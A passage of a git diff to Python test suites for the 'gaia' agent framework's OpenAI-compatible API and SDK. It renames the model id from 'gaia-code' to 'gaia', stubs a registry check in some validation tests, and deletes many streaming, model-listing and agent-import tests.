test_mcp_summarize_multipart_pdf), - run_test( - "Missing boundary test", - test_summarize_missing_boundary_returns_client_error, - ), - run_test("Missing file test", test_summarize_missing_file_returns_client_error), - ] - - success = all(results) - print("\n" + "=" * 60) - if success: - print("✅ MCP Summarize Integration Working!") - print("The Summarizer agent is accessible through the MCP bridge.") - else: - print("❌ MCP Summarize Integration Failed") - print( - "Check that the MCP bridge is running and summarize endpoints are available." - ) - print("=" * 60) - - -if __name__ == "__main__": - main() diff --git a/tests/test_api.py b/tests/test_api.py index 7f9db98ba..08a8f41f6 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -15,12 +15,9 @@ - Edge cases and resilience testing """ -import json import logging -import time import pytest -import requests # Test imports try: @@ -79,7 +76,7 @@ def test_basic_completion_with_mocked_agent(self, mocker): mocker.patch.object(server_registry, "get_agent", return_value=fake_agent) payload = { - "model": "gaia-code", + "model": "gaia", "messages": [ {"role": "user", "content": "Write a hello world function in Python"} ], @@ -94,7 +91,7 @@ def test_basic_completion_with_mocked_agent(self, mocker): assert data["object"] == "chat.completion" assert data["id"].startswith("chatcmpl-") assert isinstance(data["created"], int) - assert data["model"] == "gaia-code" + assert data["model"] == "gaia" # The agent was invoked with the extracted user message. fake_agent.process_query.assert_called_once() @@ -129,7 +126,7 @@ def test_completion_uses_last_user_message(self, mocker): mocker.patch.object(server_registry, "get_agent", return_value=fake_agent) payload = { - "model": "gaia-code", + "model": "gaia", "messages": [ {"role": "system", "content": "You are helpful"}, {"role": "user", "content": "first question"}, @@ -171,7 +168,7 @@ def test_debug_logging_redacts_chat_request_content( response = self.client.post( "/v1/chat/completions", json={ - "model": "gaia-code", + "model": "gaia", "messages": [{"role": "user", "content": prompt}], "stream": False, "temperature": 0.2, @@ -251,7 +248,7 @@ def test_missing_model_returns_422(self): def test_missing_messages_returns_422(self): """Test that missing messages field returns 422.""" response = self.client.post( - "/v1/chat/completions", json={"model": "gaia-code", "stream": False} + "/v1/chat/completions", json={"model": "gaia", "stream": False} ) assert response.status_code == 422 @@ -260,7 +257,7 @@ def test_invalid_message_role_returns_422(self): response = self.client.post( "/v1/chat/completions", json={ - "model": "gaia-code", + "model": "gaia", "messages": [{"role": "invalid_role", "content": "test"}], "stream": False, }, @@ -272,7 +269,7 @@ def test_message_without_role_returns_422(self): response = self.client.post( "/v1/chat/completions", json={ - "model": "gaia-code", + "model": "gaia", "messages": [{"content": "test"}], "stream": False, }, @@ -283,7 +280,7 @@ def test_messages_not_array_returns_422(self): """Test that messages field that is not an array returns 422.""" response = self.client.post( "/v1/chat/completions", - json={"model": "gaia-code", "messages": "not an array", "stream": False}, + json={"model": "gaia", "messages": "not an array", "stream": False}, ) assert response.status_code == 422 @@ -292,7 +289,7 @@ def test_invalid_stream_value_returns_422(self): response = self.client.post( "/v1/chat/completions", json={ - "model": "gaia-code", + "model": "gaia", "messages": [{"role": "user", "content": "test"}], "stream": "not a boolean", }, @@ -317,38 +314,53 @@ def test_invalid_json_returns_422(self): # Server Logic Validation Tests (400 errors) # ------------------------------------------------------------------------- - def test_empty_messages_returns_400(self): + def test_empty_messages_returns_400(self, mocker): """Test that empty messages array returns 400 (no user message).""" + from gaia.api.openai_server import registry as server_registry + + # Model-existence check runs before the empty-messages check, and + # Stub the registry so this test + # exercises the message-validation branch it's named for. + mocker.patch.object(server_registry, "model_exists", return_value=True) + response = self.client.post( "/v1/chat/completions", - json={"model": "gaia-code", "messages": [], "stream": False}, + json={"model": "gaia", "messages": [], "stream": False}, ) assert response.status_code == 400 assert "no user message" in response.json()["detail"].lower() - def test_message_without_content_returns_400(self): + def test_message_without_content_returns_400(self, mocker): """ Test that message with None content returns 400. Content is Optional in schema (passes Pydantic), but server logic returns 400 because no user message content is found. """ + from gaia.api.openai_server import registry as server_registry + + mocker.patch.object(server_registry, "model_exists", return_value=True) + response = self.client.post( "/v1/chat/completions", json={ - "model": "gaia-code", + "model": "gaia", "messages": [{"role": "user"}], # content defaults to None "stream": False, }, ) assert response.status_code == 400 - def test_only_system_message_returns_400(self): + def test_only_system_message_returns_400(self, mocker): """Test that request with only system message returns 400.""" + from gaia.api.openai_server import registry as server_registry + + mocker.patch.object(server_registry, "model_exists", return_value=True) + response = self.client.post( "/v1/chat/completions", json={ - "model": "gaia-code", + "model": "gaia", "messages": [{"role": "system", "content": "You are helpful"}], "stream": False, }, @@ -360,7 +372,7 @@ def test_messages_with_null_element_returns_422(self): response = self.client.post( "/v1/chat/completions", json={ - "model": "gaia-code", + "model": "gaia", "messages": [None, {"role": "user", "content": "test"}], "stream": False, }, @@ -379,30 +391,23 @@ def test_health_endpoint_returns_ok(self): assert data["status"] == "ok" assert data["service"] == "gaia-api" - def test_models_endpoint_returns_list(self): - """Test that /v1/models returns list of available models.""" + def test_models_endpoint_advertises_the_flagship(self): + """/v1/models lists the flagship agent in OpenAI-compatible shape. + + This is what a client's model picker reads, so an empty list here means + the picker is empty and nothing is selectable — the state this endpoint + was in while the collapsed per-task agents were its only entries. + """ response = self.client.get("/v1/models") assert response.status_code == 200 data = response.json() - # Verify OpenAI-compatible structure assert data["object"] == "list" - assert "data" in data - assert isinstance(data["data"], list) - assert len(data["data"]) > 0 - - # Verify model structure + ids = [m["id"] for m in data["data"]] + assert "gaia" in ids, f"flagship not advertised; got {ids}" for model in data["data"]: assert model["object"] == "model" - assert "id" in model - assert "created" in model - assert isinstance(model["created"], int) - assert "owned_by" in model - assert model["owned_by"] == "amd-gaia" - - # Verify gaia-code model exists - model_ids = [m["id"] for m in data["data"]] - assert "gaia-code" in model_ids, "gaia-code not in models" + assert model["owned_by"] def test_nonexistent_endpoint_returns_404(self): """Test that non-existent endpoint returns 404.""" @@ -441,7 +446,7 @@ def test_404_error_has_detail_field(self): def test_422_error_has_detail_field(self): """Test that 422 validation error has detail field.""" response = self.client.post( - "/v1/chat/completions", json={"model": "gaia-code"} # Missing messages + "/v1/chat/completions", json={"model": "gaia"} # Missing messages ) assert response.status_code == 422 error_data = response.json() @@ -553,177 +558,10 @@ def test_invalid_model_returns_404(self, api_server, api_client): def test_missing_messages_returns_422(self, api_server, api_client): """Test that missing messages returns 422 validation error""" - payload = {"model": "gaia-code", "stream": False} + payload = {"model": "gaia", "stream": False} response = api_client.post(f"{api_server}/v1/chat/completions", json=payload) assert response.status_code == 422 # FastAPI validation error - def test_empty_messages_returns_400(self, api_server, api_client): - """Test that empty messages array returns 400 error""" - payload = {"model": "gaia-code", "messages": [], "stream": False} - response = api_client.post(f"{api_server}/v1/chat/completions", json=payload) - assert response.status_code == 400 - - -@pytest.mark.integration -class TestChatCompletionsStreaming: - """Test POST /v1/chat/completions with streaming - requires Lemonade""" - - @pytest.mark.skip(reason="Skipped: No [DONE] marker received - see issue for fix") - def test_streaming_completion_sse_format(self, api_server, api_client): - """Test that streaming returns proper Server-Sent Events format""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": "Count to 5"}], - "stream": True, - } - - with api_client.post( - f"{api_server}/v1/chat/completions", json=payload, stream=True - ) as response: - assert response.status_code == 200 - assert "text/event-stream" in response.headers["content-type"] - - chunks = [] - has_role = False - has_content = False - has_done = False - - for line in response.iter_lines(): - if line: - decoded = line.decode() if isinstance(line, bytes) else line - - # Verify SSE format - assert decoded.startswith( - "data: " - ), f"Invalid SSE format: {decoded}" - - # Check for [DONE] marker - if "[DONE]" in decoded: - has_done = True - continue - - # Parse JSON chunk - chunk_data = json.loads(decoded[6:]) # Remove "data: " prefix - chunks.append(chunk_data) - - # Verify chunk structure - assert chunk_data["object"] == "chat.completion.chunk" - assert chunk_data["model"] == "gaia-code" - assert "choices" in chunk_data - - if chunk_data["choices"]: - choice = chunk_data["choices"][0] - assert "delta" in choice - - # First chunk should have role - if "role" in choice["delta"]: - has_role = True - assert choice["delta"]["role"] == "assistant" - - # Subsequent chunks should have content - if "content" in choice["delta"]: - has_content = True - assert isinstance(choice["delta"]["content"], str) - - # Verify we got all expected parts - assert len(chunks) > 0, "No chunks received" - assert has_role, "No role in first chunk" - assert has_content, "No content in chunks" - assert has_done, "No [DONE] marker received" - - @pytest.mark.skip( - reason="Skipped: No content reconstructed from stream - see issue for fix" - ) - def test_streaming_reconstructs_full_message(self, api_server, api_client): - """Test that streaming chunks can be reconstructed into complete message""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": "Say 'hello world'"}], - "stream": True, - } - - full_content = "" - with api_client.post( - f"{api_server}/v1/chat/completions", json=payload, stream=True - ) as response: - for line in response.iter_lines(): - if line: - decoded = line.decode() if isinstance(line, bytes) else line - if "[DONE]" not in decoded and decoded.startswith("data: "): - chunk = json.loads(decoded[6:]) - if ( - chunk["choices"] - and "content" in chunk["choices"][0]["delta"] - ): - full_content += chunk["choices"][0]["delta"]["content"] - - assert len(full_content) > 0, "No content reconstructed from stream" - - -class TestModelsEndpoint: - """Test GET /v1/models endpoint""" - - def test_list_models_returns_gaia_agents(self, api_server, api_client): - """Test that /v1/models returns list of available GAIA agents""" - response = api_client.get(f"{api_server}/v1/models") - assert response.status_code == 200 - data = response.json() - - # Verify OpenAI-compatible structure - assert data["object"] == "list" - assert "data" in data - assert isinstance(data["data"], list) - assert len(data["data"]) > 0 - - # Verify model structure - for model in data["data"]: - assert model["object"] == "model" - assert "id" in model - assert "created" in model - assert isinstance(model["created"], int) - assert "owned_by" in model - assert model["owned_by"] == "amd-gaia" - - # Verify expected models exist - model_ids = [m["id"] for m in data["data"]] - assert "gaia-code" in model_ids, "gaia-code not in models" - - def test_model_metadata_includes_required_fields(self, api_server, api_client): - """Test that models include required metadata fields""" - response = api_client.get(f"{api_server}/v1/models") - data = response.json() - - for model in data["data"]: - # All models should have basic fields - assert "id" in model - assert "object" in model - assert "created" in model - assert "owned_by" in model - - -class TestApiAgentCustomization: - """Test that ApiAgent mixin provides customization""" - - def test_code_agent_uses_custom_model_id(self, api_server, api_client): - """Test that CodeAgent can customize its model ID""" - response = api_client.get(f"{api_server}/v1/models") - models = response.json()["data"] - - # CodeAgent should have model ID "gaia-code" - code_model = next((m for m in models if "code" in m["id"]), None) - assert code_model is not None, "No code model found" - assert code_model["id"] == "gaia-code" - - def test_code_agent_provides_metadata(self, api_server, api_client): - """Test that CodeAgent provides proper metadata""" - response = api_client.get(f"{api_server}/v1/models") - models = response.json()["data"] - - code_model = next((m for m in models if "code" in m["id"]), None) - assert code_model is not None, "No code model found" - assert code_model["id"] == "gaia-code" - assert code_model["owned_by"] == "amd-gaia" - class TestHealthEndpoint: """Test health check endpoint""" @@ -742,242 +580,6 @@ def test_health_check_returns_ok(self, api_server, api_client): # ============================================================================= -@pytest.mark.integration -class TestStreamingConnectionManagement: - """Test SSE connection lifecycle and management - requires Lemonade""" - - def test_streaming_connection_closes_properly(self, api_server, api_client): - """Test that streaming connections close properly after completion""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": "Say hello"}], - "stream": True, - } - - with api_client.post( - f"{api_server}/v1/chat/completions", json=payload, stream=True - ) as response: - # Consume the stream - for _ in response.iter_lines(): - pass - - # Connection should be closed after context exits - assert response.raw.closed or not response.raw.isclosed() - - @pytest.mark.skip( - reason="Skipped: ConnectionResetError on sequential streams - see issue for fix" - ) - def test_multiple_sequential_streams(self, api_server, api_client): - """Test that multiple sequential streaming requests work correctly""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": "Count to 3"}], - "stream": True, - } - - # Make multiple sequential streaming requests - for i in range(3): - with api_client.post( - f"{api_server}/v1/chat/completions", json=payload, stream=True - ) as response: - assert response.status_code == 200 - chunk_count = 0 - for line in response.iter_lines(): - if line: - chunk_count += 1 - assert chunk_count > 0, f"Request {i+1} received no chunks" - - @pytest.mark.skip(reason="Skipped: ReadTimeoutError in CI - see issue for fix") - def test_streaming_with_timeout(self, api_server, api_client): - """Test that streaming respects timeout settings""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": "Quick response"}], - "stream": True, - } - - # Should complete within reasonable timeout - start_time = time.time() - with api_client.post( - f"{api_server}/v1/chat/completions", - json=payload, - stream=True, - timeout=30, # 30 second timeout - ) as response: - for _ in response.iter_lines(): - pass - - elapsed = time.time() - start_time - assert elapsed < 30, "Streaming took longer than timeout" - - -@pytest.mark.integration -class TestStreamingChunkFormat: - """Test detailed SSE chunk formatting - requires Lemonade""" - - def test_all_chunks_have_valid_json(self, api_server, api_client): - """Test that all SSE chunks contain valid JSON""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": "Hello"}], - "stream": True, - } - - with api_client.post( - f"{api_server}/v1/chat/completions", json=payload, stream=True - ) as response: - for line in response.iter_lines(): - if line: - decoded = line.decode() if isinstance(line, bytes) else line - if not decoded.startswith("data: "): - pytest.fail(f"Line doesn't start with 'data: ': {decoded}") - - if "[DONE]" in decoded: - continue - - # Should be valid JSON - try: - json_data = json.loads(decoded[6:]) - assert isinstance(json_data, dict) - except json.JSONDecodeError as e: - pytest.fail(f"Invalid JSON in chunk: {decoded[6:]}\nError: {e}") - - def test_streaming_chunk_sequence(self, api_server, api_client): - """Test that streaming chunks arrive in expected sequence""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": "Test"}], - "stream": True, - } - - chunks = [] - with api_client.post( - f"{api_server}/v1/chat/completions", json=payload, stream=True - ) as response: - for line in response.iter_lines(): - if line: - decoded = line.decode() if isinstance(line, bytes) else line - if "[DONE]" not in decoded and decoded.startswith("data: "): - chunk = json.loads(decoded[6:]) - chunks.append(chunk) - - # First chunk should have role - assert len(chunks) > 0, "No chunks received" - first_chunk = chunks[0] - assert first_chunk["choices"][0]["delta"].get("role") == "assistant" - - # All chunks should have same ID - chunk_id = first_chunk["id"] - for chunk in chunks: - assert chunk["id"] == chunk_id, "Chunk IDs don't match" - - @pytest.mark.skip( - reason="Skipped: No finish_reason found in stream - see issue for fix" - ) - def test_streaming_finish_reason(self, api_server, api_client): - """Test that streaming includes finish_reason in final chunk""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": "Short reply"}], - "stream": True, - } - - found_finish_reason = False - with api_client.post( - f"{api_server}/v1/chat/completions", json=payload, stream=True - ) as response: - for line in response.iter_lines(): - if line: - decoded = line.decode() if isinstance(line, bytes) else line - if "[DONE]" not in decoded and decoded.startswith("data: "): - chunk = json.loads(decoded[6:]) - if chunk["choices"]: - finish_reason = chunk["choices"][0].get("finish_reason") - if finish_reason: - found_finish_reason = True - assert finish_reason in ["stop", "length"] - - assert found_finish_reason, "No finish_reason found in stream" - - -@pytest.mark.integration -class TestStreamingContent: - """Test streaming content reconstruction and integrity - requires Lemonade""" - - @pytest.mark.skip( - reason="Skipped: Streaming produced empty content - see issue for fix" - ) - def test_streaming_content_not_empty(self, api_server, api_client): - """Test that streaming produces non-empty content""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": "Say something"}], - "stream": True, - } - - full_content = "" - with api_client.post( - f"{api_server}/v1/chat/completions", json=payload, stream=True - ) as response: - for line in response.iter_lines(): - if line: - decoded = line.decode() if isinstance(line, bytes) else line - if "[DONE]" not in decoded and decoded.startswith("data: "): - chunk = json.loads(decoded[6:]) - if ( - chunk["choices"] - and "content" in chunk["choices"][0]["delta"] - ): - full_content += chunk["choices"][0]["delta"]["content"] - - assert len(full_content) > 0, "Streaming produced empty content" - - @pytest.mark.skip( - reason="Skipped: Streaming hangs waiting for [DONE] marker - see issue for fix" - ) - def test_streaming_preserves_special_characters(self, api_server, api_client): - """Test that streaming preserves special characters correctly""" - payload = { - "model": "gaia-code", - "messages": [ - {"role": "user", "content": "Write code with special chars: {}, [], ()"} - ], - "stream": True, - } - - full_content = "" - chunk_count = 0 - max_chunks = 1000 # Safety limit to prevent infinite loops - - with api_client.post( - f"{api_server}/v1/chat/completions", json=payload, stream=True, timeout=30 - ) as response: - for line in response.iter_lines(): - chunk_count += 1 - if chunk_count > max_chunks: - pytest.fail( - f"Exceeded max chunks ({max_chunks}) - possible infinite stream" - ) - - if line: - decoded = line.decode() if isinstance(line, bytes) else line - if "[DONE]" in decoded: - break - if decoded.startswith("data: "): - chunk = json.loads(decoded[6:]) - if ( - chunk["choices"] - and "content" in chunk["choices"][0]["delta"] - ): - content = chunk["choices"][0]["delta"]["content"] - # Verify content is properly decoded - assert isinstance(content, str) - full_content += content - - # Content should be valid UTF-8 - assert full_content.encode("utf-8").decode("utf-8") == full_content - - class TestStreamingErrorCases: """Test error handling in streaming mode""" @@ -995,57 +597,6 @@ def test_streaming_with_invalid_model(self, api_server, api_client): # Should return error immediately, not stream assert response.status_code == 404 - def test_streaming_with_empty_messages(self, api_server, api_client): - """Test streaming with empty messages array""" - payload = { - "model": "gaia-code", - "messages": [], - "stream": True, - } - - response = api_client.post( - f"{api_server}/v1/chat/completions", json=payload, stream=True - ) - # Should return error immediately - assert response.status_code == 400 - - -@pytest.mark.integration -class TestStreamingHeaders: - """Test HTTP headers in streaming responses - requires Lemonade""" - - def test_streaming_content_type_header(self, api_server, api_client): - """Test that streaming sets correct Content-Type header""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": "Test"}], - "stream": True, - } - - response = api_client.post( - f"{api_server}/v1/chat/completions", json=payload, stream=True - ) - - assert response.status_code == 200 - assert "text/event-stream" in response.headers.get("content-type", "").lower() - - def test_streaming_cache_control_header(self, api_server, api_client): - """Test that streaming disables caching""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": "Test"}], - "stream": True, - } - - response = api_client.post( - f"{api_server}/v1/chat/completions", json=payload, stream=True - ) - - # SSE responses typically disable caching - cache_control = response.headers.get("cache-control", "") - # Either no-cache or not set (acceptable for SSE) - assert "no-cache" in cache_control.lower() or cache_control == "" - # ============================================================================= # ERROR HANDLING AND VALIDATION TESTS @@ -1067,7 +618,7 @@ def test_missing_model_field(self, api_server, api_client): def test_missing_messages_field(self, api_server, api_client): """Test request without messages field""" payload = { - "model": "gaia-code", + "model": "gaia", "stream": False, } response = api_client.post(f"{api_server}/v1/chat/completions", json=payload) @@ -1076,27 +627,17 @@ def test_missing_messages_field(self, api_server, api_client): def test_invalid_message_role(self, api_server, api_client): """Test message with invalid role - Pydantic validates Literal type""" payload = { - "model": "gaia-code", + "model": "gaia", "messages": [{"role": "invalid_role", "content": "test"}], "stream": False, } response = api_client.post(f"{api_server}/v1/chat/completions", json=payload) assert response.status_code == 422 - def test_message_without_content(self, api_server, api_client): - """Test message missing content field - content is Optional, server returns 400""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user"}], - "stream": False, - } - response = api_client.post(f"{api_server}/v1/chat/completions", json=payload) - assert response.status_code == 400 - def test_message_without_role(self, api_server, api_client): """Test message missing role field - role is required in schema""" payload = { - "model": "gaia-code", + "model": "gaia", "messages": [{"content": "test"}], "stream": False, } @@ -1121,25 +662,10 @@ def test_completely_invalid_json(self, api_server, api_client): ) assert response.status_code == 422 - @pytest.mark.integration - @pytest.mark.skip(reason="Skipped: API server returns 500 - see issue for fix") - def test_json_with_extra_fields(self, api_server, api_client): - """Test that extra fields in request are ignored - Pydantic allows extra by default""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": "test"}], - "stream": False, - "unknown_field": "should be ignored", - "another_unknown": 12345, - } - # Extra fields are ignored, request should succeed - response = api_client.post(f"{api_server}/v1/chat/completions", json=payload) - assert response.status_code == 200 - def test_invalid_stream_value(self, api_server, api_client): """Test invalid value for stream field - Pydantic validates boolean type""" payload = { - "model": "gaia-code", + "model": "gaia", "messages": [{"role": "user", "content": "test"}], "stream": "not a boolean", } @@ -1188,20 +714,10 @@ def test_model_name_with_special_chars(self, api_server, api_client): class TestMessageArrayErrors: """Test errors related to message arrays""" - def test_empty_messages_array(self, api_server, api_client): - """Test request with empty messages array""" - payload = { - "model": "gaia-code", - "messages": [], - "stream": False, - } - response = api_client.post(f"{api_server}/v1/chat/completions", json=payload) - assert response.status_code == 400 - def test_messages_not_array(self, api_server, api_client): """Test messages field that is not an array""" payload = { - "model": "gaia-code", + "model": "gaia", "messages": "not an array", "stream": False, } @@ -1211,7 +727,7 @@ def test_messages_not_array(self, api_server, api_client): def test_messages_with_null_element(self, api_server, api_client): """Test messages array containing null - Pydantic validation error""" payload = { - "model": "gaia-code", + "model": "gaia", "messages": [None, {"role": "user", "content": "test"}], "stream": False, } @@ -1219,44 +735,6 @@ def test_messages_with_null_element(self, api_server, api_client): assert response.status_code == 422 -@pytest.mark.integration -class TestLargePayloads: - """Test handling of large payloads - requires Lemonade for 200 responses""" - - @pytest.mark.skip(reason="Skipped: API server returns 500 - see issue for fix") - def test_very_long_message(self, api_server, api_client): - """Test message with very long content""" - long_content = "x" * 10000 # 10k characters - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": long_content}], - "stream": False, - } - response = api_client.post(f"{api_server}/v1/chat/completions", json=payload) - # Should either accept it or return 413 (payload too large) - assert response.status_code in [200, 413, 400] - - @pytest.mark.skip(reason="Skipped: API server returns 500 - see issue for fix") - def test_many_messages(self, api_server, api_client): - """Test request with many messages""" - messages = [] - for i in range(100): - role = "user" if i % 2 == 0 else "assistant" - messages.append({"role": role, "content": f"Message {i}"}) - - payload = { - "model": "gaia-code", - "messages": messages, - "stream": False, - } - # Add timeout to prevent hanging - API should respond quickly or reject - response = api_client.post( - f"{api_server}/v1/chat/completions", json=payload, timeout=30 - ) - # Should either accept it or return 413 - assert response.status_code in [200, 413, 400] - - class TestEndpointErrors: """Test errors on different endpoints""" @@ -1284,26 +762,6 @@ def test_models_endpoint_with_query_params(self, api_server, api_client): assert response.status_code == 200 -class TestContentTypeErrors: - """Test Content-Type handling""" - - @pytest.mark.skip(reason="Skipped: API server returns 500 - see issue for fix") - def test_missing_content_type(self, api_server): - """Test POST request without Content-Type header - FastAPI may auto-parse""" - payload = { - "model": "gaia-code", - "messages": [{"role": "user", "content": "test"}], - "stream": False, - } - response = requests.post( - f"{api_server}/v1/chat/completions", - data=json.dumps(payload), - # No Content-Type header - ) - # FastAPI may auto-detect JSON or return validation error - assert response.status_code in [200, 422] - - class TestErrorResponseFormat: """Test that error responses follow expected format""" @@ -1324,7 +782,7 @@ def test_404_error_format(self, api_server, api_client): def test_422_error_format(self, api_server, api_client): """Test 422 validation error format""" payload = { - "model": "gaia-code", + "model": "gaia", # Missing messages field } response = api_client.post(f"{api_server}/v1/chat/completions", json=payload) diff --git a/tests/test_sdk.py b/tests/test_sdk.py index 6a96df36b..f24a6f52a 100644 --- a/tests/test_sdk.py +++ b/tests/test_sdk.py @@ -1234,28 +1234,6 @@ def test_talk_sdk_interface_methods(self): assert hasattr(TalkSDK, "enable_rag") -# ============================================================================ -# 22. ROUTING AGENT TESTS -# ============================================================================ - - -class TestRoutingAgent: - """Smoke coverage for RoutingAgent — behavioural routing tests live in a dedicated suite.""" - - def test_routing_agent_exposes_process_query(self): - """Verify RoutingAgent imports cleanly and exposes process_query. - - We don't instantiate — RoutingAgent.__init__ constructs a LemonadeClient. - - RoutingAgent ships as the standalone gaia-agent-routing wheel (#1102); - skip when a framework-only env lacks it. - """ - pytest.importorskip("gaia_agent_routing") - from gaia_agent_routing.agent import RoutingAgent - - assert hasattr(RoutingAgent, "process_query") - - # ============================================================================ # 23. SPECIALIZED AGENTS TESTS # ============================================================================ @@ -1271,187 +1249,6 @@ def test_chat_agent_exists(self): assert ChatAgent is not None - def test_docker_agent_exists(self): - """Verify DockerAgent can be imported.""" - try: - from gaia_agent_docker.agent import DockerAgent - - assert DockerAgent is not None - except ImportError: - # Docker agent ships as the standalone gaia-agent-docker wheel (#1102) - pytest.skip("gaia-agent-docker not installed") - - def test_jira_agent_exists(self): - """Verify JiraAgent can be imported.""" - pytest.importorskip("gaia_agent_jira") - from gaia_agent_jira.agent import JiraAgent - - assert JiraAgent is not None - - def test_blender_agent_exists(self): - """Verify BlenderAgent can be imported.""" - pytest.importorskip("gaia_agent_blender") - from gaia_agent_blender.agent import BlenderAgent - - assert BlenderAgent is not None - - def test_specialized_agents_inherit_from_base(self): - """Verify all specialized agents inherit from Agent base class.""" - pytest.importorskip("gaia_agent_blender") - pytest.importorskip("gaia_agent_jira") - pytest.importorskip("gaia_agent_chat") - from gaia_agent_blender.agent import BlenderAgent - from gaia_agent_chat.agent import ChatAgent - from gaia_agent_jira.agent import JiraAgent - - from gaia.agents.base.agent import Agent - - assert issubclass(ChatAgent, Agent) - assert issubclass(JiraAgent, Agent) - assert issubclass(BlenderAgent, Agent) - - -# ============================================================================ -# 24. CODE TOOL MIXINS TESTS -# ============================================================================ - - -class TestCodeToolMixins: - """Test all code mixins.""" - - @pytest.fixture(autouse=True) - def _require_code_pkg(self): - # CodeAgent ships as the standalone gaia-agent-code wheel (#1397, #1102); - # skip when it isn't installed. - pytest.importorskip("gaia_agent_code") - - def test_cli_tools_mixin_exists(self): - """Verify CLIToolsMixin can be imported.""" - from gaia_agent_code.tools.cli_tools import CLIToolsMixin - - assert CLIToolsMixin is not None - # Check for CLI registration method - assert hasattr(CLIToolsMixin, "register_cli_tools") or hasattr( - CLIToolsMixin, "__init__" - ) - - def test_code_tools_mixin_exists(self): - """Verify CodeToolsMixin can be imported.""" - from gaia_agent_code.tools.code_tools import CodeToolsMixin - - assert CodeToolsMixin is not None - # Check for registration method - assert hasattr(CodeToolsMixin, "register_code_tools") or hasattr( - CodeToolsMixin, "__init__" - ) - - def test_file_io_tools_mixin_exists(self): - """Verify FileIOToolsMixin can be imported.""" - from gaia.agents.tools.file_io_tools import FileIOToolsMixin - - assert FileIOToolsMixin is not None - # Check for registration method - assert hasattr(FileIOToolsMixin, "register_file_io_tools") or hasattr( - FileIOToolsMixin, "__init__" - ) - - def test_validation_tools_mixin_exists(self): - """Verify ValidationToolsMixin can be imported.""" - from gaia_agent_code.tools.validation_tools import ValidationToolsMixin - - assert ValidationToolsMixin is not None - # Check for registration method - assert hasattr(ValidationToolsMixin, "register_validation_tools") or hasattr( - ValidationToolsMixin, "__init__" - ) - - def test_error_fixing_mixin_exists(self): - """Verify ErrorFixingMixin can be imported.""" - from gaia_agent_code.tools.error_fixing import ErrorFixingMixin - - assert ErrorFixingMixin is not None - # Check for registration method - assert hasattr(ErrorFixingMixin, "register_error_fixing_tools") or hasattr( - ErrorFixingMixin, "__init__" - ) - - def test_testing_mixin_exists(self): - """Verify TestingMixin can be imported.""" - from gaia_agent_code.tools.testing import TestingMixin - - assert TestingMixin is not None - # Check for registration method - assert hasattr(TestingMixin, "register_testing_tools") or hasattr( - TestingMixin, "__init__" - ) - - def test_prisma_tools_mixin_exists(self): - """Verify PrismaToolsMixin can be imported.""" - try: - from gaia_agent_code.tools.prisma_tools import PrismaToolsMixin - - assert PrismaToolsMixin is not None - # Check for Prisma-related tools - assert hasattr(PrismaToolsMixin, "run_prisma_command") or hasattr( - PrismaToolsMixin, "prisma_migrate" - ) - except ImportError: - # Prisma tools may be optional - pytest.skip("PrismaToolsMixin not implemented") - - def test_typescript_tools_mixin_exists(self): - """Verify TypeScriptToolsMixin can be imported.""" - try: - from gaia_agent_code.tools.typescript_tools import TypeScriptToolsMixin - - assert TypeScriptToolsMixin is not None - # Check for TypeScript-related tools - assert hasattr(TypeScriptToolsMixin, "compile_typescript") or hasattr( - TypeScriptToolsMixin, "run_tsc" - ) - except ImportError: - # TypeScript tools may be optional - pytest.skip("TypeScriptToolsMixin not implemented") - - def test_web_tools_mixin_exists(self): - """Verify WebToolsMixin can be imported.""" - try: - from gaia_agent_code.tools.web_dev_tools import WebToolsMixin - - assert WebToolsMixin is not None - # Check for web-related tools - assert hasattr(WebToolsMixin, "fetch_url") or hasattr( - WebToolsMixin, "scrape_page" - ) - except ImportError: - # Web tools may be optional - pytest.skip("WebToolsMixin not implemented") - - def test_code_mixins_can_be_combined(self): - """Verify multiple code mixins can be combined.""" - from gaia_agent_code.tools.cli_tools import CLIToolsMixin - - from gaia.agents.base.agent import Agent - from gaia.agents.base.console import SilentConsole - from gaia.agents.tools.file_io_tools import FileIOToolsMixin - - class CombinedCodeAgent(Agent, CLIToolsMixin, FileIOToolsMixin): - def _get_system_prompt(self) -> str: - return "Combined code agent" - - def _create_console(self): - return SilentConsole() - - def _register_tools(self): - pass - - # Should instantiate without errors - agent = CombinedCodeAgent(silent_mode=True) - assert agent is not None - # Should have registration methods from both mixins - assert isinstance(agent, CLIToolsMixin) - assert isinstance(agent, FileIOToolsMixin) - # ============================================================================ # 25. APPLICATIONS TESTS @@ -1461,34 +1258,6 @@ def _register_tools(self): class TestApplications: """Test app wrappers.""" - def test_summarizer_app_exists(self): - """Verify SummarizerApp can be imported.""" - from gaia.apps.summarize.app import SummarizerApp - - assert SummarizerApp is not None - - def test_summarizer_styles_defined(self): - """Verify summarizer styles are defined.""" - from gaia.apps.summarize.app import SummarizerApp - - # Check that common summary styles exist - assert hasattr(SummarizerApp, "STYLE_CONCISE") or hasattr( - SummarizerApp, "summarize" - ) - - # Verify summarizer can be instantiated - with patch("gaia.apps.summarize.app.LLMClient"): - summarizer = SummarizerApp() - assert summarizer is not None - - def test_summarizer_interface_methods(self): - """Verify SummarizerApp has required methods.""" - from gaia.apps.summarize.app import SummarizerApp - - # Check methods exist - assert hasattr(SummarizerApp, "summarize") - assert hasattr(SummarizerApp, "summarize_file") - def test_llm_app_exists(self): """Verify LLM app can be imported.""" try: @@ -1501,18 +1270,6 @@ def test_llm_app_exists(self): assert LLMClient is not None - def test_jira_app_exists(self): - """Verify Jira app can be imported.""" - try: - from gaia.apps.jira.app import JiraApp - - assert JiraApp is not None - except ImportError: - # Jira app may be integrated with agent - from gaia_agent_jira.agent import JiraAgent - - assert JiraAgent is not None - # ============================================================================ # 26. ADDITIONAL INTEGRATION TESTS @@ -1548,51 +1305,6 @@ def initialize_talk(self): assert 